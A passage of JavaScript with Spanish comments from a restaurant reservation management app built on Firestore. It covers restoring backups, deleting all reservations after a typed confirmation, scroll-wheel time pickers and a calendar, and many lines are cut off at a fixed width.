    for(let i=0; i<arregloNuevo.length; i+=450) gruposEscribir.push(arregloNu
    let promesa = Promise.resolve();
```

```
        gruposEscribir.forEach(grupo => {
          promesa = promesa.then(() => {
            const batch = db.batch();
            grupo.forEach(item => {
              const { id, ...datos } = item;
              batch.set(ref.doc(id), datos);
            });
            return batch.commit();
          });
        });
        return promesa;
      });
    }

    reemplazarColeccionCompleta('reservas', backup.reservas).then(() => {
      // El resto de colecciones (clientes, usuarios, eventos, salones,
      // bloqueosReserva, solicitudesEliminacion) se restauran una por
      // una, en orden, solo si el backup las trae.
      let promesa = Promise.resolve();
      coleccionesAdicionales.forEach(nombre => {
        promesa = promesa.then(() => reemplazarColeccionCompleta(nombre, backup[n
      });
      return promesa;
    }).then(() => {
      // Por último, la configuración, si el backup la trae.
      const cfg = backup.configuracion || {};
      const escrituras = [];
      if(cfg.mensajes) escrituras.push(db.collection('configuracion').doc('mensaj
      if(cfg.carrusel) escrituras.push(db.collection('configuracion').doc('carrus
      if(cfg.contadorReservas) escrituras.push(db.collection('configuracion').doc
      if(cfg.planoMesas) escrituras.push(db.collection('configuracion').doc('plan
      if(cfg.horarios) escrituras.push(db.collection('configuracion').doc('horari
      if(cfg.festivos) escrituras.push(db.collection('configuracion').doc('festiv
      if(cfg.fechasBloqueadas) escrituras.push(db.collection('configuracion').doc
      return Promise.all(escrituras);
    }).then(() => {
      if(estadoEl) estadoEl.textContent = `✓ Restaurado — backup del ${backup.gen
      alert(`Listo — se restauró el backup del ${backup.generadoEnLegible || ''}.
      input.value = '';
    }).catch(err => {
      console.error('Error restaurando backup:', err);
      if(estadoEl) estadoEl.textContent = '';
      alert('No se pudo completar la restauración. Revisa tu conexión e intenta d
    });
  };
  lector.readAsText(archivo);
}
```

```
function resetearTodasLasReservas(){
  const escrito = prompt('Esto borra TODAS las reservas de TODOS los días, sin ex
  if(escrito !== 'BORRAR'){
    if(escrito !== null) alert('No coincide con "BORRAR" — no se borró nada.');
    return;
  }
  reservasRef.get().then(snap => {
    if(snap.empty){
      alert('La base de datos de reservas ya está vacía.');
      return;
    }
    // Firestore permite máximo 500 operaciones por lote, así que dividimos
    // en grupos de 450 por seguridad si hubiera muchísimas reservas.
    const docs = snap.docs;
    const grupos = [];
    for(let i=0; i<docs.length; i+=450) grupos.push(docs.slice(i, i+450));
    let promesa = Promise.resolve();
    grupos.forEach(grupo => {
      promesa = promesa.then(() => {
        const batch = db.batch();
        grupo.forEach(d => batch.delete(d.ref));
        return batch.commit();
      });
    });
    return promesa;
  }).then(() => {
    alert('Listo — se borraron todas las reservas. La base de datos de reservas q
  }).catch(err => {
    console.error('Error al resetear reservas:', err);
    alert('No se pudo completar el borrado. Revisa tu conexión e intenta de nuevo
  });
}



document.getElementById('overlay').addEventListener('click', e=>{
  if(e.target.id==='overlay') cerrarModal();
});

/* ============ INIT ============ */
renderHeader(); // pinta el encabezado de inmediato; el resto llega con Firestore
renderSolicitudesScreen(); // pinta la fecha/label de inmediato; las tarjetas lle
renderSalonesScreen();
renderConfigMensajes();
renderCalendarioInline(); // calendario del mes en curso, visible por defecto en
renderCalendarioSolInline(); // calendario del mes en curso, visible por defecto
```

```
cambiarVistaApp('solicitudes'); // pantalla de inicio: solicitudes del día en cur

/* v3.72 · UI helper. No cambia el modelo de datos ni Firestore. */
(function(){
  const ITEM_H = 36;
  let wheelState = {hour:8, minute:20, ampm:'PM'};
  let calCursor = new Date();
  let initializingWheels = false;
  let timeHadOriginalValue = false;
  // Ficha de la reserva que está abierta AHORA MISMO en las ruedas de
  // hora/minutos/AM-PM. El scroll de la rueda dispara un evento nativo
  // 'scroll' del navegador que puede llegar con retraso (hasta 80ms
  // después, por el debounce de abajo) — si mientras tanto el staff cerró
  // esta reserva y ya abrió OTRA, ese eco tardío no debe escribir la hora
  // de la reserva vieja encima de la que está viendo ahora. Por eso se
  // compara siempre contra modalToken antes de escribir en #fHora.
  let wheelOpenToken = 0;
  // "Seguro" de fecha y hora: una vez que una reserva YA tiene fecha y
  // hora guardadas, se abren bloqueadas (nadie puede moverlas por
  // accidente al entrar a gestionar la mesa, el abono, etc.) — hay que
  // tocar "Editar fecha y hora" a propósito para poder cambiarlas.
  let horaFechaBloqueada = false;

  function parseISO(s){
    const p=(s||'').split('-').map(Number);
    return p.length===3 && p.every(Boolean) ? new Date(p[0],p[1]-1,p[2],12) : new
  }
  function iso(d){return d.getFullYear()+'-'+String(d.getMonth()+1).padStart(2,'0
  function same(a,b){return iso(a)===iso(b);}
  function isReadOnly(){const ov=document.getElementById('overlay'); return ov.cl
  function bloquearHoraFecha(){
    horaFechaBloqueada = true;
    const banner = document.getElementById('horaFechaLockBanner');
    if(banner) banner.style.display = 'flex';
    document.getElementById('phoneDateCarousel')?.classList.add('bloqueado-visual
    document.getElementById('phoneTurnButtons')?.classList.add('bloqueado-visual'
    document.getElementById('horaWheelBlock')?.classList.add('bloqueado-visual');
  }
  function desbloquearHoraFecha(){
    horaFechaBloqueada = false;
    const banner = document.getElementById('horaFechaLockBanner');
    if(banner) banner.style.display = 'none';
    document.getElementById('phoneDateCarousel')?.classList.remove('bloqueado-vis
    document.getElementById('phoneTurnButtons')?.classList.remove('bloqueado-visu
    document.getElementById('horaWheelBlock')?.classList.remove('bloqueado-visual
  }
  window.desbloquearHoraFecha = desbloquearHoraFecha;
```

```
function setDateValue(value){
  if(isReadOnly()) return;
  const input=document.getElementById('fFechaReservaEdit');
  input.value=value;
  input.dispatchEvent(new Event('change',{bubbles:true}));
  renderPhoneDates();
}

function renderPhoneDates(){
  const carousel=document.getElementById('phoneDateCarousel');
  const input=document.getElementById('fFechaReservaEdit');
  if(!carousel||!input) return;
  carousel.querySelectorAll('.phone-generated-date').forEach(x=>x.remove());
  const selected=parseISO(input.value);
  const today=new Date(); today.setHours(12,0,0,0);
  const todayEnd=new Date(today); todayEnd.setDate(today.getDate()+13);
  const start=(selected<today || selected>todayEnd) ? new Date(selected) : new
  for(let i=0;i<14;i++){
    const d=new Date(start); d.setDate(start.getDate()+i);
    const b=document.createElement('button'); b.type='button';
    b.className='phone-date-card phone-generated-date'+(same(d,selected)?' acti
    b.innerHTML='<span class="dow">'+new Intl.DateTimeFormat('es-CO',{weekday:'
    b.addEventListener('click',()=>setDateValue(iso(d)));
    carousel.appendChild(b);
  }
  document.getElementById('phoneDateSummary').textContent=new Intl.DateTimeForm
  requestAnimationFrame(()=>carousel.querySelector('.phone-generated-date.activ
}

function renderTurnButtons(){
  const val=document.getElementById('fTurnoReservaEdit').value;
  document.querySelectorAll('#phoneTurnButtons button').forEach(b=>b.classList.
}
document.querySelectorAll('#phoneTurnButtons button').forEach(b=>b.addEventList
  if(isReadOnly()) return;
  const sel=document.getElementById('fTurnoReservaEdit'); sel.value=b.dataset.t
  bloquearFormularioTelefonoPorHoraSinConfirmar();
}));

function syncHiddenTime(){
  // Mientras las 3 ruedas (hora/minutos/AM-PM) se están posicionando en
  // su valor inicial, NUNCA se escribe de vuelta en #fHora — no hace
  // falta (el valor que se está leyendo YA es el que está guardado) y
  // evita que una rueda que termine de posicionarse antes que las otras
  // dos alcance a guardar una combinación a medio armar por accidente.
  if(initializingWheels) return;
```

```
  // Defensa contra el eco tardío del scroll: si esto pertenece a una
  // reserva que ya no es la que está abierta (modal cerrado y vuelto a
  // abrir para otra reserva mientras este eco venía en camino), se
  // ignora en vez de pisar la hora de la reserva que se ve ahora.
  if(wheelOpenToken !== modalToken) return;
  const h12=Number(wheelState.hour)||12, min=Number(wheelState.minute)||0;
  let h24=h12%12; if(wheelState.ampm==='PM') h24+=12;
  document.getElementById('fHora').value=String(h24).padStart(2,'0')+':'+String
  autoSeleccionarTurnoPorHoraTelefono(h24, min);
  bloquearFormularioTelefonoPorHoraSinConfirmar();
}
// Solo al CREAR una reserva nueva (no al editar una que ya existe): el
// turno de arriba (Desayuno/Almuerzo/Cena) se ajusta solo según la hora
// que se va moviendo en la rueda, igual que en solicitud.html —
// 8:00–10:59 Desayuno, 11:00–17:59 Almuerzo, 18:00+ Cena. Así el aviso
// de bloqueo siempre revisa el turno correcto, no uno que se quedó
// seleccionado de antes sin que coincida con la hora actual.
function autoSeleccionarTurnoPorHoraTelefono(h24, min){
  if(editandoId) return;
  // El turno de un evento con fecha fija ya viene decidido al crear el
  // evento — no se debe "corregir" solo porque la rueda de hora (oculta
  // en este caso, pero igual se posiciona internamente) no coincide con
  // el rango horario típico de ese turno.
  if(hayEventoConFechaFija()) return;
  const minutosDelDia = h24*60 + min;
  let turnoAuto;
  if(minutosDelDia >= 480 && minutosDelDia < 660) turnoAuto = 'desayuno';
  else if(minutosDelDia >= 660 && minutosDelDia < 1080) turnoAuto = 'almuerzo';
  else turnoAuto = 'cena';
  const sel = document.getElementById('fTurnoReservaEdit');
  if(sel.value !== turnoAuto){
    sel.value = turnoAuto;
    sel.dispatchEvent(new Event('change', {bubbles:true}));
    renderTurnButtons();
  }
}
function readTimeFromHidden(){
  const v=document.getElementById('fHora').value;
  timeHadOriginalValue = !!v;
  if(!v){ wheelState={hour:8,minute:20,ampm:'PM'}; return; }
  const [h,m]=v.split(':').map(Number); wheelState.minute=isFinite(m)?m:0; whee
}
function makeWheel(id,values,getCurrent,onSelect){
  const el=document.getElementById(id); if(!el) return;
  el.innerHTML=values.map(v=>'<div class="phone-wheel-item" data-value="'+v+'">
  const items=[...el.children]; let timer=null;
  function update(){
```

```
    const idx=Math.max(0,Math.min(items.length-1,Math.round(el.scrollTop/ITEM_H
    items.forEach((it,i)=>{it.classList.toggle('selected',i===idx);it.classList
    onSelect(items[idx].dataset.value); syncHiddenTime();
  }
  el.onscroll=()=>{ if(isReadOnly()) return; update(); clearTimeout(timer); tim
  items.forEach((it,i)=>it.onclick=()=>{if(!isReadOnly()) el.scrollTo({top:i*IT
  const current=String(getCurrent()); const idx=Math.max(0,values.map(String).i
  requestAnimationFrame(()=>{el.scrollTop=idx*ITEM_H; update();});
}
function initWheels(){
  initializingWheels = true;
  wheelOpenToken = modalToken;
  readTimeFromHidden();
  makeWheel('phoneHourWheel',Array.from({length:12},(_,i)=>String(i+1).padStart
  makeWheel('phoneMinuteWheel',Array.from({length:60},(_,i)=>String(i).padStart
  makeWheel('phoneAmPmWheel',['AM','PM'],()=>wheelState.ampm,v=>wheelState.ampm
  setTimeout(()=>{ initializingWheels = false; }, 180);
}

// La hora de salida usa exactamente la misma rueda que la hora de
// llegada (Hora/Minutos/AM-PM), pero como una segunda instancia
// independiente, guardada en su propio input oculto (#fHoraSalida) — así
// se ve y se maneja igual, sin mezclarse con la de llegada.
let wheelStateSalida = {hour:8, minute:20, ampm:'PM'};
let initializingWheelsSalida = false;
let timeHadOriginalValueSalida = false;
function syncHiddenTimeSalida(){
  if(initializingWheelsSalida && !timeHadOriginalValueSalida) return;
  // Mismo seguro contra eco tardío que syncHiddenTime() — ver comentario
  // junto a la declaración de wheelOpenToken.
  if(wheelOpenToken !== modalToken) return;
  const h12=Number(wheelStateSalida.hour)||12, min=Number(wheelStateSalida.minu
  let h24=h12%12; if(wheelStateSalida.ampm==='PM') h24+=12;
  document.getElementById('fHoraSalida').value=String(h24).padStart(2,'0')+':'+
}
function readTimeFromHiddenSalida(){
  const v=document.getElementById('fHoraSalida').value;
  timeHadOriginalValueSalida = !!v;
  if(!v){ wheelStateSalida={hour:8,minute:20,ampm:'PM'}; return; }
  const [h,m]=v.split(':').map(Number); wheelStateSalida.minute=isFinite(m)?m:0
}
function makeWheelSalida(id,values,getCurrent,onSelect){
  const el=document.getElementById(id); if(!el) return;
  el.innerHTML=values.map(v=>'<div class="phone-wheel-item" data-value="'+v+'">
  const items=[...el.children]; let timer=null;
  function update(){
    const idx=Math.max(0,Math.min(items.length-1,Math.round(el.scrollTop/ITEM_H
```

```
    items.forEach((it,i)=>{it.classList.toggle('selected',i===idx);it.classList
    onSelect(items[idx].dataset.value); syncHiddenTimeSalida();
  }
  el.onscroll=()=>{ if(isReadOnly()) return; update(); clearTimeout(timer); tim
  items.forEach((it,i)=>it.onclick=()=>{if(!isReadOnly()) el.scrollTo({top:i*IT
  const current=String(getCurrent()); const idx=Math.max(0,values.map(String).i
  requestAnimationFrame(()=>{el.scrollTop=idx*ITEM_H; update();});
}
function initWheelsSalida(){
  initializingWheelsSalida = true;
  wheelOpenToken = modalToken;
  readTimeFromHiddenSalida();
  makeWheelSalida('phoneHourWheelSalida',Array.from({length:12},(_,i)=>String(i
  makeWheelSalida('phoneMinuteWheelSalida',Array.from({length:60},(_,i)=>String
  makeWheelSalida('phoneAmPmWheelSalida',['AM','PM'],()=>wheelStateSalida.ampm,
  setTimeout(()=>{ initializingWheelsSalida = false; }, 180);
}

function initPhoneUI(){
  const form=document.getElementById('formCompletoBlock'); if(!form||form.style
  renderPhoneDates(); renderTurnButtons(); initWheels();
  // La rueda de hora de salida es opcional y arranca colapsada — solo se
  // construye (y se muestra abierta) si esta reserva YA tenía una hora
  // de salida guardada; si no, el botón "+ Asignar hora de salida" queda
  // cerrado hasta que alguien lo toque a propósito.
  const yaTeniaSalida = !!document.getElementById('fHoraSalida').value;
  window.toggleHoraSalidaBlock(yaTeniaSalida);
  // Nueva reserva por teléfono: arranca bloqueada hasta confirmar la
  // hora, igual que en solicitud.html. Al editar una reserva que ya
  // existe (editandoId con valor), se muestra todo de una vez, como
  // siempre — ese paso de confirmación es solo para cuando se está
  // creando de cero.
  if(editandoId){
    const resto = document.getElementById('restoFormularioTelefono');
    const btnConfHora = document.getElementById('btnConfirmarHoraTelefono');
    const avisoConfHora = document.getElementById('avisoHoraSinConfirmarTelefon
    if(resto) resto.style.display = 'block';
    if(btnConfHora) btnConfHora.style.display = 'none';
    if(avisoConfHora) avisoConfHora.style.display = 'none';
    // Seguro: si esta reserva YA tenía fecha y hora guardadas, se abre
    // bloqueada — así entrar a asignar mesa, registrar un abono, etc.
    // nunca puede mover la hora por accidente. Si falta fecha u hora
    // (una solicitud a medio llenar, por ejemplo), se deja abierta.
    const yaTeniaFecha = !!document.getElementById('fFechaReservaEdit').value;
    const yaTeniaHora = !!document.getElementById('fHora').value;
    if(yaTeniaFecha && yaTeniaHora) bloquearHoraFecha(); else desbloquearHoraFe
  } else {
```

```
    desbloquearHoraFecha();
    // Sincroniza el turno de arriba con la hora que haya quedado
    // seleccionada en la rueda, por si el modal arrancó con un turno
    // que ya no coincide con la hora (por ejemplo, quedó en "Cena" de
    // una reserva anterior mientras la hora está en la mañana).
    const { h24, min } = horaActualDesdeWheelState();
    autoSeleccionarTurnoPorHoraTelefono(h24, min);
    bloquearFormularioTelefonoPorHoraSinConfirmar();
  }
}
function horaActualDesdeWheelState(){
  const h12=Number(wheelState.hour)||12, min=Number(wheelState.minute)||0;
  let h24=h12%12; if(wheelState.ampm==='PM') h24+=12;
  return { h24, min };
}

// Valor sugerido por defecto al habilitar la hora de salida: 2 horas
// después de la hora de llegada seleccionada. Es solo un punto de
// partida para ayudar — la persona lo puede mover libremente a 1 hora,
// hora y media, 3 horas, lo que necesite.
function horaMasDosHoras(horaHHMM){
  if(!horaHHMM) return '';
  const [h,m] = horaHHMM.split(':').map(Number);
  if(!isFinite(h) || !isFinite(m)) return '';
  const totalMin = ((h*60+m) + 120) % (24*60);
  const h2 = Math.floor(totalMin/60), m2 = totalMin%60;
  return String(h2).padStart(2,'0')+':'+String(m2).padStart(2,'0');
}

window.toggleHoraSalidaBlock = function(forzarAbrir){
  const bloque = document.getElementById('horaSalidaBlock');
  const btn = document.getElementById('btnToggleHoraSalida');
  const abrir = forzarAbrir !== undefined ? !!forzarAbrir : bloque.style.displa
  bloque.style.display = abrir ? 'block' : 'none';
  if(btn){
    btn.classList.toggle('abierto', abrir);
    btn.textContent = abrir ? '− Quitar hora de salida' : '+ Asignar hora de sa
  }
  if(abrir){
    const fHoraSalidaEl = document.getElementById('fHoraSalida');
    if(!fHoraSalidaEl.value){
      fHoraSalidaEl.value = horaMasDosHoras(document.getElementById('fHora').va
    }
    requestAnimationFrame(initWheelsSalida);
  } else {
    document.getElementById('fHoraSalida').value = '';
  }
```

```
  };

  const originalElegir=elegirCanalNuevo;
  elegirCanalNuevo=function(tipo){
    originalElegir(tipo);
    if(tipo==='telefono'){
      document.getElementById('modalTitle').textContent='Nueva reserva (Teléfono)
      document.getElementById('modalSub').textContent='Completa la información pa
      requestAnimationFrame(initPhoneUI);
    }
  };
  const originalAbrir=abrirModal;
  abrirModal=function(id,mesaId){
    originalAbrir(id,mesaId);
    requestAnimationFrame(()=>{ if(document.getElementById('formCompletoBlock').s
  };

  document.getElementById('fFechaReservaEdit').addEventListener('change',()=>{ren
  document.getElementById('fTurnoReservaEdit').addEventListener('change',()=>{ren

  // Calendario completo del primer cuadrito.
  const calOverlay=document.getElementById('phoneCalendarOverlay');
  function openCal(){ if(isReadOnly()) return; calCursor=parseISO(document.getEle
  function closeCal(){calOverlay.classList.remove('open');calOverlay.setAttribute
  function renderCal(){
    const selected=parseISO(document.getElementById('fFechaReservaEdit').value),
    document.getElementById('phoneCalTitle').textContent=new Intl.DateTimeFormat(
    const days=document.getElementById('phoneCalendarDays'); days.innerHTML='';
    const first=new Date(y,m,1,12), last=new Date(y,m+1,0,12);
    for(let i=0;i<first.getDay();i++){const x=document.createElement('button');x.
    const today=new Date(); today.setHours(12,0,0,0);
    for(let d=1;d<=last.getDate();d++){const dt=new Date(y,m,d,12);const b=docume
  }
  document.getElementById('phoneOpenCalendar').addEventListener('click',openCal);
  document.getElementById('phoneCalClose').addEventListener('click',closeCal);
  document.getElementById('phoneCalPrev').addEventListener('click',()=>{calCursor
  document.getElementById('phoneCalNext').addEventListener('click',()=>{calCursor
  calOverlay.addEventListener('click',e=>{if(e.target===calOverlay)closeCal();});
})();
```